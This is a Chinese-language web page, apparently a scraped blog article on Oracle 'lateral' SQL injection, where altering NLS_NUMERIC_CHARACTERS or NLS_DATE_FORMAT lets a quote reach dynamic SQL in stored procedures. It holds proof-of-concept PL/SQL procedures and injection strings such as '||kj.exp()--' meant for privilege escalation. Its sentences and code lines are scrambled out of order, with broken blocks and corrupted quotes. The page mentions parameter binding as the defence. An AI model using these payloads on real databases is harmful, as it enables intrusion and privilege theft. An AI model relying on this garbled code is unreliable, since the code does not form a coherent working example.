ORACLE LATERAL-SQL-INJECTION 个人见解
单引号被转义掉了
is
begin
内部对varchar类型进行替换了!我们可以进行测试
这样就可以间接的攻击它…
SELECT to_number(1000.10001,'999999D99999′)||” FROM DUAL;
ALTER SESSION SET NLS_NUMERIC_CHARACTERS=”'.';
numinjpoc(TO_NUMBER(0.10001,'999999D99999′),'||kj.exp()–');
execute immediate ‘insert into kjdatetable values('|| d ||')';
end;
commit;
begin
只是多了一个单引号,那有什么用呢?乐观的来说!在特定情况下是很有价值的!看以下一个存储过程
SecStr:=replace(kjexpstr,””,”””);
那么遇到以上的存储过程或者函数等,也通过修改SESSION中的NLS_DATE_FORMAT中的值达到SQL注射的目的,
end;
ALTER SESSION SET NLS_NUMERIC_CHARACTERS=”'.';
1000′10001
as
SELECT * FROM DUAL WHERE ID=1000 and name=”'–'
老外的PAPER讲解得非常详细了 ,我在这里也不废话。
numinjpoc(1000,”'–');
end;
begin
commit;
输出一下结果
惟独对于 NUMBER类型的注射没有多作讲解 只是简单演示了可以输出单引号!
sys.dbms_output.put_line('SELECT * FROM DUAL WHERE and name=”'||SecStr||””);
create or replace procedure kjdatepoc(date d)
那么如果我们结合这个NUMBER类型怎么进行注射呢?
根本不需要担心遭受到SQL新型注入攻击,那么在什么地方会发生DATE 以及 NUMBER的注入攻击呢!?一般都是采用了动态SQL而又不采用参数绑定的语句。
begin
在某中程度才来需要ALTER SESSION 配合后,再去攻击系统内部的一些函数或者过程来提升权限。未尝不是一种好的突破思路,但是对于单语句进行SQL注射攻击,以结果为向导的话!这样的方式没多大作为。
end;
SELECT * FROM DUAL WHERE||kj.exp()–'
如以下ORACLE存储过程
begin
create or replace procedure kjdatepoc(date d)
看以下存储过程
end;
例如工程师经常用的DBMS_SQL或者EXECUTE IMMEDIATE
as
insert into kjdatetable values(d);
SecStr varchar2(1000);
create or replace procedure NumInjPoc(kjexpnum number,kjexpstr varchar2)
看看输出结果
看以下语句
如果直接执行SQL语句或者参数绑定则不用担心太多,
其输出SQL语句为
相关热词: oracle
本站内容来源于网络,如有侵权请与我们联系,我们会及时删除,我们深感抱歉!
注:本站所有信息仅供用于网络技术学习参考,学习中请遵循相关法律法规!
本文地址: https://v30.fanwenzhu.com/sql/oracle/2890.shtml
相关文章
热门TAG
win10 ecshop 主机 阿里云 解决 配置 C# C++ 解析 SQL语句 命令 Go语言 方法 CSS3 HTML5 CSS win7 MSSQL 服务器配置 IIS7.5 IIS7 IIS6 IIS CentOS 7 Linux oracle数据库 oracle phpcms discuz discuz教程最新文章
-
是因为scan的IP问题补占用
时间:2021-01-20
-
还你一个干净的model 2、功
时间:2021-01-20
-
既然 ROWNUM 列并不是真实存
时间:2021-01-20
-
Real Application Clusters
时间:2021-01-20
-
在tools-preferences-connection(
时间:2021-01-20
-
Windows Sever 2012下Oracle 12c安
时间:2021-01-10
-
Oracle安装监听器错误的解
时间:2021-01-07
-
oracle远程连接服务器数据
时间:2021-01-07
热门文章
-
Oracle存储过程编程详解
时间:2020-12-07
-
Azure Queue Storage 基本用法 Azure Storage 之
时间:2020-12-26
-
win10下oracle 11g安装图文教程
时间:2020-12-25
-
oracle 数据库学习 基本结构介绍
时间:2020-12-13
-
Azure File Storage 基本用法 Azure Storage 之 F
时间:2020-12-26
-
windows使用sqlpus连接oracle 数据库的教程图
时间:2020-12-25
-
Window下Oracle Database 11g 发行版2安装教程
时间:2020-12-29
-
Oracle解锁的方式介绍
时间:2020-12-14
-
Oracle 12c Study之Installer Oracle
时间:2021-01-06
-
linux下oracle设置开机自启动实现方法
时间:2020-12-13
